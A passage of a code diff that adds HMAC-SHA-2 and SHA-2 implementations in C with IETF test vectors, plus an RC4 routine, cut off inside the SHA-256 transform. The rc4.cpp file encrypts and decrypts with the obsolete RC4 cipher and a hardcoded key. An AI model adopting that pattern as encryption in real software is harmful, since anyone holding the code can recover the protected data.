memcpy(mac, mac_temp, mac_size); +} + +void hmac_sha384(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size) +{ + hmac_sha384_ctx ctx; + + hmac_sha384_init(&ctx, key, key_size); + hmac_sha384_update(&ctx, message, message_len); + hmac_sha384_final(&ctx, mac, mac_size); +} + +/* HMAC-SHA-512 functions */ + +void hmac_sha512_init(hmac_sha512_ctx *ctx, const unsigned char *key, + unsigned int key_size) +{ + unsigned int fill; + unsigned int num; + + const unsigned char *key_used; + unsigned char key_temp[SHA512_DIGEST_SIZE]; + int i; + + if (key_size == SHA512_BLOCK_SIZE) { + key_used = key; + num = SHA512_BLOCK_SIZE; + } else { + if (key_size > SHA512_BLOCK_SIZE){ + num = SHA512_DIGEST_SIZE; + sha512(key, key_size, key_temp); + key_used = key_temp; + } else { /* key_size > SHA512_BLOCK_SIZE */ + key_used = key; + num = key_size; + } + fill = SHA512_BLOCK_SIZE - num; + + memset(ctx->block_ipad + num, 0x36, fill); + memset(ctx->block_opad + num, 0x5c, fill); + } + + for (i = 0; i < (int) num; i++) { + ctx->block_ipad[i] = key_used[i] ^ 0x36; + ctx->block_opad[i] = key_used[i] ^ 0x5c; + } + + sha512_init(&ctx->ctx_inside); + sha512_update(&ctx->ctx_inside, ctx->block_ipad, SHA512_BLOCK_SIZE); + + sha512_init(&ctx->ctx_outside); + sha512_update(&ctx->ctx_outside, ctx->block_opad, + SHA512_BLOCK_SIZE); + + /* for hmac_reinit */ + memcpy(&ctx->ctx_inside_reinit, &ctx->ctx_inside, + sizeof(sha512_ctx)); + memcpy(&ctx->ctx_outside_reinit, &ctx->ctx_outside, + sizeof(sha512_ctx)); +} + +void hmac_sha512_reinit(hmac_sha512_ctx *ctx) +{ + memcpy(&ctx->ctx_inside, &ctx->ctx_inside_reinit, + sizeof(sha512_ctx)); + memcpy(&ctx->ctx_outside, &ctx->ctx_outside_reinit, + sizeof(sha512_ctx)); +} + +void hmac_sha512_update(hmac_sha512_ctx *ctx, const unsigned char *message, + unsigned int message_len) +{ + sha512_update(&ctx->ctx_inside, message, message_len); +} + +void hmac_sha512_final(hmac_sha512_ctx *ctx, unsigned char *mac, + unsigned int mac_size) +{ + unsigned char digest_inside[SHA512_DIGEST_SIZE]; + unsigned char mac_temp[SHA512_DIGEST_SIZE]; + + sha512_final(&ctx->ctx_inside, digest_inside); + sha512_update(&ctx->ctx_outside, digest_inside, SHA512_DIGEST_SIZE); + sha512_final(&ctx->ctx_outside, mac_temp); + memcpy(mac, mac_temp, mac_size); +} + +void hmac_sha512(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size) +{ + hmac_sha512_ctx ctx; + + hmac_sha512_init(&ctx, key, key_size); + hmac_sha512_update(&ctx, message, message_len); + hmac_sha512_final(&ctx, mac, mac_size); +} + +#ifdef TEST_VECTORS + +/* IETF Validation tests */ + +#include +#include + +void test(const char *vector, unsigned char *digest, + unsigned int digest_size) +{ + char output[2 * SHA512_DIGEST_SIZE + 1]; + int i; + + output[2 * digest_size] = '\0'; + + for (i = 0; i < (int) digest_size ; i++) { + sprintf(output + 2*i, "%02x", digest[i]); + } + + printf("H: %s\n", output); + if (strcmp(vector, output)) { + fprintf(stderr, "Test failed.\n"); + exit(1); + } +} + +int main(void) +{ + static const char *vectors[] = + { + /* HMAC-SHA-224 */ + "896fb1128abbdf196832107cd49df33f47b4b1169912ba4f53684b22", + "a30e01098bc6dbbf45690f3a7e9e6d0f8bbea2a39e6148008fd05e44", + "7fb3cb3588c6c1f6ffa9694d7d6ad2649365b0c1f65d69d1ec8333ea", + "6c11506874013cac6a2abc1bb382627cec6a90d86efc012de7afec5a", + "0e2aea68a90c8d37c988bcdb9fca6fa8", + "95e9a0db962095adaebe9b2d6f0dbce2d499f112f2d2b7273fa6870e", + "3a854166ac5d9f023f54d517d0b39dbd946770db9c2b95c9f6f565d1", + /* HMAC-SHA-256 */ + "b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7", + "5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843", + "773ea91e36800e46854db8ebd09181a72959098b3ef8c122d9635514ced565fe", + "82558a389a443c0ea4cc819899f2083a85f0faa3e578f8077a2e3ff46729665b", + "a3b6167473100ee06e0c796c2955552b", + "60e431591ee0b67f0d8a26aacbf5b77f8e0bc6213728c5140546040f0ee37f54", + "9b09ffa71b942fcb27635fbcd5b0e944bfdc63644f0713938a7f51535c3a35e2", + /* HMAC-SHA-384 */ + "afd03944d84895626b0825f4ab46907f15f9dadbe4101ec682aa034c7cebc59c" + "faea9ea9076ede7f4af152e8b2fa9cb6", + "af45d2e376484031617f78d2b58a6b1b9c7ef464f5a01b47e42ec3736322445e" + "8e2240ca5e69e2c78b3239ecfab21649", + "88062608d3e6ad8a0aa2ace014c8a86f0aa635d947ac9febe83ef4e55966144b" + "2a5ab39dc13814b94e3ab6e101a34f27", + "3e8a69b7783c25851933ab6290af6ca77a9981480850009cc5577c6e1f573b4e" + "6801dd23c4a7d679ccf8a386c674cffb", + "3abf34c3503b2a23a46efc619baef897", + "4ece084485813e9088d2c63a041bc5b44f9ef1012a2b588f3cd11f05033ac4c6" + "0c2ef6ab4030fe8296248df163f44952", + "6617178e941f020d351e2f254e8fd32c602420feb0b8fb9adccebb82461e99c5" + "a678cc31e799176d3860e6110c46523e", + /* HMAC-SHA-512 */ + "87aa7cdea5ef619d4ff0b4241a1d6cb02379f4e2ce4ec2787ad0b30545e17cde" + "daa833b7d6b8a702038b274eaea3f4e4be9d914eeb61f1702e696c203a126854", + "164b7a7bfcf819e2e395fbe73b56e0a387bd64222e831fd610270cd7ea250554" + "9758bf75c05a994a6d034f65f8f0e6fdcaeab1a34d4a6b4b636e070a38bce737", + "fa73b0089d56a284efb0f0756c890be9b1b5dbdd8ee81a3655f83e33b2279d39" + "bf3e848279a722c806b485a47e67c807b946a337bee8942674278859e13292fb", + "b0ba465637458c6990e5a8c5f61d4af7e576d97ff94b872de76f8050361ee3db" + "a91ca5c11aa25eb4d679275cc5788063a5f19741120c4f2de2adebeb10a298dd", + "415fad6271580a531d4179bc891d87a6", + "80b24263c7c1a3ebb71493c1dd7be8b49b46d1f41b4aeec1121b013783f8f352" + "6b56d037e05f2598bd0fd2215d6a1e5295e64f73f63f0aec8b915a985d786598", + "e37b6a775dc87dbaa4dfa9f96e5e3ffddebd71f8867289865df5a32d20cdc944" + "b6022cac3c4982b10d5eeb55c3e4de15134676fb6de0446065c97440fa8c6a58" + }; + + static char *messages[] = + { + "Hi There", + "what do ya want for nothing?", + NULL, + NULL, + "Test With Truncation", + "Test Using Larger Than Block-Size Key - Hash Key First", + "This is a test using a larger than block-size key " + "and a larger than block-size data. The key needs" + " to be hashed before being used by the HMAC algorithm." + }; + + unsigned char mac[SHA512_DIGEST_SIZE]; + unsigned char *keys[7]; + unsigned int keys_len[7] = {20, 4, 20, 25, 20, 131, 131}; + unsigned int messages2and3_len = 50; + unsigned int mac_224_size, mac_256_size, mac_384_size, mac_512_size; + int i; + + for (i = 0; i < 7; i++) { + keys[i] = malloc(keys_len[i]); + if (keys[i] == NULL) { + fprintf(stderr, "Can't allocate memory\n"); + return 1; + } + } + + memset(keys[0], 0x0b, keys_len[0]); + strcpy((char *) keys[1], "Jefe"); + memset(keys[2], 0xaa, keys_len[2]); + for (i = 0; i < (int) keys_len[3]; i++) + keys[3][i] = (unsigned char) i + 1; + memset(keys[4], 0x0c, keys_len[4]); + memset(keys[5], 0xaa, keys_len[5]); + memset(keys[6], 0xaa, keys_len[6]); + + messages[2] = malloc(messages2and3_len + 1); + messages[3] = malloc(messages2and3_len + 1); + + if (messages[2] == NULL || messages[3] == NULL) { + fprintf(stderr, "Can't allocate memory\n"); + return 1; + } + + messages[2][messages2and3_len] = '\0'; + messages[3][messages2and3_len] = '\0'; + + memset(messages[2], 0xdd, messages2and3_len); + memset(messages[3], 0xcd, messages2and3_len); + + printf("HMAC-SHA-2 IETF Validation tests\n\n"); + + for (i = 0; i < 7; i++) { + if (i != 4) { + mac_224_size = SHA224_DIGEST_SIZE; + mac_256_size = SHA256_DIGEST_SIZE; + mac_384_size = SHA384_DIGEST_SIZE; + mac_512_size = SHA512_DIGEST_SIZE; + } else { + mac_224_size = 128 / 8; mac_256_size = 128 / 8; + mac_384_size = 128 / 8; mac_512_size = 128 / 8; + } + + printf("Test %d:\n", i + 1); + + hmac_sha224(keys[i], keys_len[i], (unsigned char *) messages[i], + strlen(messages[i]), mac, mac_224_size); + test(vectors[i], mac, mac_224_size); + hmac_sha256(keys[i], keys_len[i], (unsigned char *) messages[i], + strlen(messages[i]), mac, mac_256_size); + test(vectors[7 + i], mac, mac_256_size); + hmac_sha384(keys[i], keys_len[i], (unsigned char *) messages[i], + strlen(messages[i]), mac, mac_384_size); + test(vectors[14 + i], mac, mac_384_size); + hmac_sha512(keys[i], keys_len[i], (unsigned char *) messages[i], + strlen(messages[i]), mac, mac_512_size); + test(vectors[21 + i], mac, mac_512_size); + } + + printf("All tests passed.\n"); + + return 0; +} + +#endif /* TEST_VECTORS */ + diff --git a/hmac_sha2.h b/hmac_sha2.h new file mode 100644 index 0000000..11e84f7 --- /dev/null +++ b/hmac_sha2.h @@ -0,0 +1,108 @@ + +#ifndef HMAC_SHA2_H +#define HMAC_SHA2_H + +#include "sha2.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + sha224_ctx ctx_inside; + sha224_ctx ctx_outside; + + /* for hmac_reinit */ + sha224_ctx ctx_inside_reinit; + sha224_ctx ctx_outside_reinit; + + unsigned char block_ipad[SHA224_BLOCK_SIZE]; + unsigned char block_opad[SHA224_BLOCK_SIZE]; +} hmac_sha224_ctx; + +typedef struct { + sha256_ctx ctx_inside; + sha256_ctx ctx_outside; + + /* for hmac_reinit */ + sha256_ctx ctx_inside_reinit; + sha256_ctx ctx_outside_reinit; + + unsigned char block_ipad[SHA256_BLOCK_SIZE]; + unsigned char block_opad[SHA256_BLOCK_SIZE]; +} hmac_sha256_ctx; + +typedef struct { + sha384_ctx ctx_inside; + sha384_ctx ctx_outside; + + /* for hmac_reinit */ + sha384_ctx ctx_inside_reinit; + sha384_ctx ctx_outside_reinit; + + unsigned char block_ipad[SHA384_BLOCK_SIZE]; + unsigned char block_opad[SHA384_BLOCK_SIZE]; +} hmac_sha384_ctx; + +typedef struct { + sha512_ctx ctx_inside; + sha512_ctx ctx_outside; + + /* for hmac_reinit */ + sha512_ctx ctx_inside_reinit; + sha512_ctx ctx_outside_reinit; + + unsigned char block_ipad[SHA512_BLOCK_SIZE]; + unsigned char block_opad[SHA512_BLOCK_SIZE]; +} hmac_sha512_ctx; + +void hmac_sha224_init(hmac_sha224_ctx *ctx, const unsigned char *key, + unsigned int key_size); +void hmac_sha224_reinit(hmac_sha224_ctx *ctx); +void hmac_sha224_update(hmac_sha224_ctx *ctx, const unsigned char *message, + unsigned int message_len); +void hmac_sha224_final(hmac_sha224_ctx *ctx, unsigned char *mac, + unsigned int mac_size); +void hmac_sha224(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size); + +void hmac_sha256_init(hmac_sha256_ctx *ctx, const unsigned char *key, + unsigned int key_size); +void hmac_sha256_reinit(hmac_sha256_ctx *ctx); +void hmac_sha256_update(hmac_sha256_ctx *ctx, const unsigned char *message, + unsigned int message_len); +void hmac_sha256_final(hmac_sha256_ctx *ctx, unsigned char *mac, + unsigned int mac_size); +void hmac_sha256(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size); + +void hmac_sha384_init(hmac_sha384_ctx *ctx, const unsigned char *key, + unsigned int key_size); +void hmac_sha384_reinit(hmac_sha384_ctx *ctx); +void hmac_sha384_update(hmac_sha384_ctx *ctx, const unsigned char *message, + unsigned int message_len); +void hmac_sha384_final(hmac_sha384_ctx *ctx, unsigned char *mac, + unsigned int mac_size); +void hmac_sha384(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size); + +void hmac_sha512_init(hmac_sha512_ctx *ctx, const unsigned char *key, + unsigned int key_size); +void hmac_sha512_reinit(hmac_sha512_ctx *ctx); +void hmac_sha512_update(hmac_sha512_ctx *ctx, const unsigned char *message, + unsigned int message_len); +void hmac_sha512_final(hmac_sha512_ctx *ctx, unsigned char *mac, + unsigned int mac_size); +void hmac_sha512(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size); + +#ifdef __cplusplus +} +#endif + +#endif /* !HMAC_SHA2_H */ + diff --git a/rc4.cpp b/rc4.cpp new file mode 100644 index 0000000..515c651 --- /dev/null +++ b/rc4.cpp @@ -0,0 +1,56 @@ + +#include "StdAfx.h" +#include + +void swapints(int *array, int ndx1, int ndx2) +{ + int temp = array[ndx1]; + array[ndx1] = array[ndx2]; + array[ndx2] = temp; +} + +void EnDeCrypt(const char *lpbufin, int ibufinLen, char *lpbufout, int ibufoutLen, const char *pszKey) +{ + int a, b, i=0, j=0, k; + int ilen; + int sbox[256]; + int key [256]; + + ilen = strlen(pszKey); + for (a=0; a < 256; a++){ + key[a] = pszKey[a % ilen]; + sbox[a] = a; + } + for (a=0, b=0; a < 256; a++){ + b = (b + sbox[a] + key[a]) % 256; + swapints(sbox, a, b); + } + for (a=0; a < ibufinLen; a++){ + i = (i + 1) % 256; + j = (j + sbox[i]) % 256; + swapints(sbox, i, j); + k = sbox[(sbox[i] + sbox[j]) % 256]; + lpbufout[a] = lpbufin[a] ^ k; + } + return; +} + +#define RC4PUBLICKEY "xtryiroeb" +int RC4EnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + if ( lpbufin && bufinLen > 0 && lpbufout && bufoutLen > 0 ){ + EnDeCrypt( lpbufin, bufinLen, lpbufout, bufoutLen, RC4PUBLICKEY ); + return 0; + } + return 1; +} + +int RC4DeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + if ( lpbufin && bufinLen > 0 && lpbufout && bufoutLen > 0 ){ + EnDeCrypt( lpbufin, bufinLen, lpbufout, bufoutLen, RC4PUBLICKEY ); + return 0; + } + return 1; +} + diff --git a/sha2.c b/sha2.c new file mode 100644 index 0000000..f5a3178 --- /dev/null +++ b/sha2.c @@ -0,0 +1,917 @@ + +#if 0 +#define UNROLL_LOOPS /* Enable loops unrolling */ +#endif + +#include + +#include "sha2.h" + +#define SHFR(x, n) (x >> n) +#define ROTR(x, n) ((x >> n) | (x << ((sizeof(x) << 3) - n))) +#define ROTL(x, n) ((x << n) | (x >> ((sizeof(x) << 3) - n))) +#define CH(x, y, z) ((x & y) ^ (~x & z)) +#define MAJ(x, y, z) ((x & y) ^ (x & z) ^ (y & z)) + +#define SHA256_F1(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22)) +#define SHA256_F2(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25)) +#define SHA256_F3(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHFR(x, 3)) +#define SHA256_F4(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHFR(x, 10)) + +#define SHA512_F1(x) (ROTR(x, 28) ^ ROTR(x, 34) ^ ROTR(x, 39)) +#define SHA512_F2(x) (ROTR(x, 14) ^ ROTR(x, 18) ^ ROTR(x, 41)) +#define SHA512_F3(x) (ROTR(x, 1) ^ ROTR(x, 8) ^ SHFR(x, 7)) +#define SHA512_F4(x) (ROTR(x, 19) ^ ROTR(x, 61) ^ SHFR(x, 6)) + +#define UNPACK32(x, str) \ +{ \ + *((str) + 3) = (uint8) ((x) ); \ + *((str) + 2) = (uint8) ((x) >> 8); \ + *((str) + 1) = (uint8) ((x) >> 16); \ + *((str) + 0) = (uint8) ((x) >> 24); \ +} + +#define PACK32(str, x) \ +{ \ + *(x) = ((uint32) *((str) + 3) ) \ + | ((uint32) *((str) + 2) << 8) \ + | ((uint32) *((str) + 1) << 16) \ + | ((uint32) *((str) + 0) << 24); \ +} + +#define UNPACK64(x, str) \ +{ \ + *((str) + 7) = (uint8) ((x) ); \ + *((str) + 6) = (uint8) ((x) >> 8); \ + *((str) + 5) = (uint8) ((x) >> 16); \ + *((str) + 4) = (uint8) ((x) >> 24); \ + *((str) + 3) = (uint8) ((x) >> 32); \ + *((str) + 2) = (uint8) ((x) >> 40); \ + *((str) + 1) = (uint8) ((x) >> 48); \ + *((str) + 0) = (uint8) ((x) >> 56); \ +} + +#define PACK64(str, x) \ +{ \ + *(x) = ((uint64) *((str) + 7) ) \ + | ((uint64) *((str) + 6) << 8) \ + | ((uint64) *((str) + 5) << 16) \ + | ((uint64) *((str) + 4) << 24) \ + | ((uint64) *((str) + 3) << 32) \ + | ((uint64) *((str) + 2) << 40) \ + | ((uint64) *((str) + 1) << 48) \ + | ((uint64) *((str) + 0) << 56); \ +} + +/* Macros used for loops unrolling */ + +#define SHA256_SCR(i) \ +{ \ + w[i] = SHA256_F4(w[i - 2]) + w[i - 7] \ + + SHA256_F3(w[i - 15]) + w[i - 16]; \ +} + +#define SHA512_SCR(i) \ +{ \ + w[i] = SHA512_F4(w[i - 2]) + w[i - 7] \ + + SHA512_F3(w[i - 15]) + w[i - 16]; \ +} + +#define SHA256_EXP(a, b, c, d, e, f, g, h, j) \ +{ \ + t1 = wv[h] + SHA256_F2(wv[e]) + CH(wv[e], wv[f], wv[g]) \ + + sha256_k[j] + w[j]; \ + t2 = SHA256_F1(wv[a]) + MAJ(wv[a], wv[b], wv[c]); \ + wv[d] += t1; \ + wv[h] = t1 + t2; \ +} + +#define SHA512_EXP(a, b, c, d, e, f, g ,h, j) \ +{ \ + t1 = wv[h] + SHA512_F2(wv[e]) + CH(wv[e], wv[f], wv[g]) \ + + sha512_k[j] + w[j]; \ + t2 = SHA512_F1(wv[a]) + MAJ(wv[a], wv[b], wv[c]); \ + wv[d] += t1; \ + wv[h] = t1 + t2; \ +} + +uint32 sha224_h0[8] = + {0xc1059ed8, 0x367cd507, 0x3070dd17, 0xf70e5939, + 0xffc00b31, 0x68581511, 0x64f98fa7, 0xbefa4fa4}; + +uint32 sha256_h0[8] = + {0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, + 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19}; + +uint64 sha384_h0[8] = + {0xcbbb9d5dc1059ed8ULL, 0x629a292a367cd507ULL, + 0x9159015a3070dd17ULL, 0x152fecd8f70e5939ULL, + 0x67332667ffc00b31ULL, 0x8eb44a8768581511ULL, + 0xdb0c2e0d64f98fa7ULL, 0x47b5481dbefa4fa4ULL}; + +uint64 sha512_h0[8] = + {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, + 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL, + 0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, + 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL}; + +uint32 sha256_k[64] = + {0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, + 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, + 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, + 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, + 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, + 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, + 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, + 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, + 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2}; + +uint64 sha512_k[80] = + {0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, + 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL, + 0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, + 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL, + 0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, + 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL, + 0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, + 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL, + 0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, + 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL, + 0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, + 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL, + 0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, + 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL, + 0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, + 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL, + 0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, + 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL, + 0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, + 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL, + 0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, + 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL, + 0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, + 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL, + 0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, + 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL, + 0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, + 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL, + 0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, + 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL, + 0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, + 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL, + 0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, + 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL, + 0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, + 0x113f9804bef90daeULL, 0x1b710b35131c471bULL, + 0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, + 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL, + 0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, + 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL}; + +/* SHA-256 functions */ + +void sha256_transf(sha256_ctx *ctx, const unsigned char *message, + unsigned int block_nb) +{ + uint32 w[64]; + uint32 wv[8]; + uint32 t1, t2; + const unsigned char *sub_block; + int i; + +#ifndef UNROLL_LOOPS + int j; +#endif + + for (i = 0; i < (int) block_nb; i++) { + sub_block = message + (i << 6); + +#ifndef UNROLL_LOOPS + for (j = 0; j < 16; j++) { + PACK32(&sub_block[j << 2], &w[j]); + } + + for (j = 16; j < 64; j++) { + SHA256_SCR(j); + } + + for (j = 0; j < 8; j++) { + wv[j] = ctx->h[j]; + } + + for (j = 0; j < 64; j++) { + t1 = wv[7] + SHA256_F2(wv[4]) + CH(wv[4], wv[5], wv[6]) + + sha256_k[j] + w[j]; + t2 = SHA256_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]); + wv[7] = wv[6]; + wv[6] = wv[5]; + wv[5] = wv[4]; + wv[4] = wv[3] + t1; + wv[3] = wv[2]; + wv[2] = wv[1]; + wv[1] = wv[0]; + wv[0] = t1 + t2; + } + + for (j = 0; j < 8; j++) { + ctx->h[j] += wv[j]; + } +#else + PACK32(&sub_block[ 0], &w[ 0]); PACK32(&sub_block[ 4], &w[ 1]); + PACK32(&sub_block[ 8], &w[ 2]); PACK32(&sub_block[12], &w[ 3]); + PACK32(&sub_block[16], &w[ 4]); PACK32(&sub_block[20], &w[ 5]); + PACK32(&sub_block[24], &w[ 6]); PACK32(&sub_block[28], &w[ 7]); + PACK32(&sub_block[32], &w[ 8]); PACK32(&sub_block[36], &w[ 9]); + PACK32(&sub_block[40], &w[10]); PACK32(&sub_block[44], &w[11]); + PACK32(&sub_block[48], &w[12]); PACK32(&sub_block[52], &w[13]); + PACK32(&sub_block[56], &w[14]); PACK32(&sub_block[60], &w[15]); + + SHA256_SCR(16); SHA256_SCR(17); SHA256_SCR(18); SHA256_SCR(19); + SHA256_SCR(20); SHA256_SCR(21); SHA256_SCR(22); SHA256_SCR(23); + SHA256_SCR(24); SHA256_SCR(25); SHA256_SCR(26); SHA256_SCR(27); + SHA256_SCR(28); SHA256_SCR(29); SHA256_SCR(30); SHA256_SCR(31); + SHA256_SCR(32); SHA256_SCR(33); SHA256_SCR(34); SHA256_SCR(35); + SHA256_SCR(36); SHA256_SCR(37); SHA256_SCR(38); SHA256_SCR(39); + SHA256_SCR(40); SHA256_SCR(41); SHA256_SCR(42); SHA256_SCR(43); + SHA256_SCR(44); SHA256_SCR(45); SHA256_SCR(46); SHA256_SCR(47); + SHA256_SCR(48); SHA256_SCR(49); SHA256_SCR(50); SHA256_SCR(51); + SHA256_SCR(52); SHA256_SCR(53); SHA256_SCR(54); SHA256_SCR(55); + SHA256_SCR(56); SHA256_SCR(57); SHA256_SCR(58); SHA256_SCR(59); + SHA256_SCR(60); SHA256_SCR(61); SHA256_SCR(62); SHA256_SCR(63); + + wv[0] = ctx->h[0]; wv[1] = ctx->h[1]; + wv[2] = ctx->h[2]; wv[3] = ctx->h[3]; + wv[4] = ctx->h[4]; wv[5] = ctx->h[5]; + wv[6] = ctx->h[6]; wv[7] = ctx->h[7]; + + SHA256_EXP(0,1,2,3,4,5,6,7, 0); SHA256_EXP(7,0,1,2,3,4,5,6, 1); + SHA256_EXP(6,7,0,1,2,3,4,5, 2); SHA256_EXP(5,6,7,0,1,2,3,4, 3); + SHA256_EXP(4,5,6,7,0,1,2,3, 4); SHA256_EXP(3,4,5,6,7,0,1,2, 5); + SHA256_EXP(2,3,4,5,6,7,0,1, 6); SHA256_EXP(1,2,3,4,5,6,7,0, 7); + SHA256_EXP(0,1,2,3,4,5,6,7, 8); SHA256_EXP(7,0,1,2,3,4,5,6, 9); + SHA256_EXP(6,7,0,1,2,3,4,5,10); SHA256_EXP(5,6,7,0,1,2,3,4,11); + SHA256_EXP(4,5,6,7,0,1,2,3,12); SHA256_EXP(3,4,5,6,7,0,1,2,13); + SHA256_EXP(2,3,4,5,6,7,0,1,14); SHA256_EXP(1,2,3,4,5,6,7,0,15); + SHA256_EXP(0,1,2,3,4,5,6,7,16); SHA256_EXP(7,0,1,2,3,4,5,6,17); + SHA256_EXP(6,7,0,1,2,3,4,5,18); SHA256_EXP(5,6,7,0,1,2,3,4,19); + SHA256_EXP(4,5,6,7,0,1,2,3,20); SHA256_EXP(3,4,5,6,7,0,1,2,21); + SHA256_EXP(2,3,4,5,6,7,0,1,22); SHA256_EXP(1,2,3,4,5,6,7,0,23); + SHA256_EXP(0,1,2,3,4,5,6,7,24); SHA256_EXP(7,0,1,2,3,4,5,6,25); + SHA256_EXP(6,7,0,1,2,3,4,5,26); SHA256_EXP(5,6,7,0,1,2,3,4,27); + SHA256_EXP(4,5,6,7,0,1,2,3,28); SHA256_EXP(3,4,5,6,7,0,1,2,29); + SHA256_EXP(2,3,4,5,6,7,0,1,30); SHA256_EXP(1,2,3,4,5,6,7,0,31); + SHA256_EXP(0,1,2,3,4,5,6,7,32); SHA256_EXP(7,0,1,2,3,4,5,6,33); + SHA256_EXP(6,7,0,1,2,3,4,5,34); SHA256_EXP(5,6,7,0,1,2,3,4,35); + SHA256_EXP(4,5,6,7,0,1,2,3,36); SHA256_EXP(3,4,5,6,7,0,1,2,37); + SHA256_EXP(2,3,4,5,6,7,0,1,38); SHA256_EXP(1,2,3,4,5,6,7,0,39); + SHA256_EXP(0,1,2,3,4,5,6,7,40); SHA256_EXP(7,0,1,2,3,4,5,6,41); + SHA256_EXP(6,7,0,1,2,3,4,5,42); SHA256_EXP(5,6,7,0,1,2,3,4,43); + SHA256_EXP(4,5,6,7,0,1,2,3,44); SHA256_EXP(3,4,5,6,7,0,1,2,45); + SHA256_EXP(2,3,4,5,6,7,0,1,46); SHA256_EXP(1,2,3,4,5,6,7,0,47); + SHA256_EXP(0,1,2,3,4,5,6,7,48); SHA256_EXP(7,0,1,2,3,4,5,6,49); + SHA256_EXP(6,7,0,1,2,3,4,5,50); SHA256_EXP(5,6,7,0,1,2,3,4,51); + SHA256_EXP(4,5,6,7,0,1,2,3,52); SHA256_EXP(3,4,5,6,7,0,1,2,53); + SHA256_EXP(2,3,4,5,6,7,0,1,54); SHA256_EXP(1,2,3,4,5,6,7,0,55); + SHA256_EXP(0,1,2,3,4,5,6,7,56); SHA256_EXP(7,0,1,2,3,4,5,6,57); + SHA256_EXP(6,7,0,1,2,3,4,5,58); SHA256_EXP(5,6,7,0,1,2,3,4,59); + 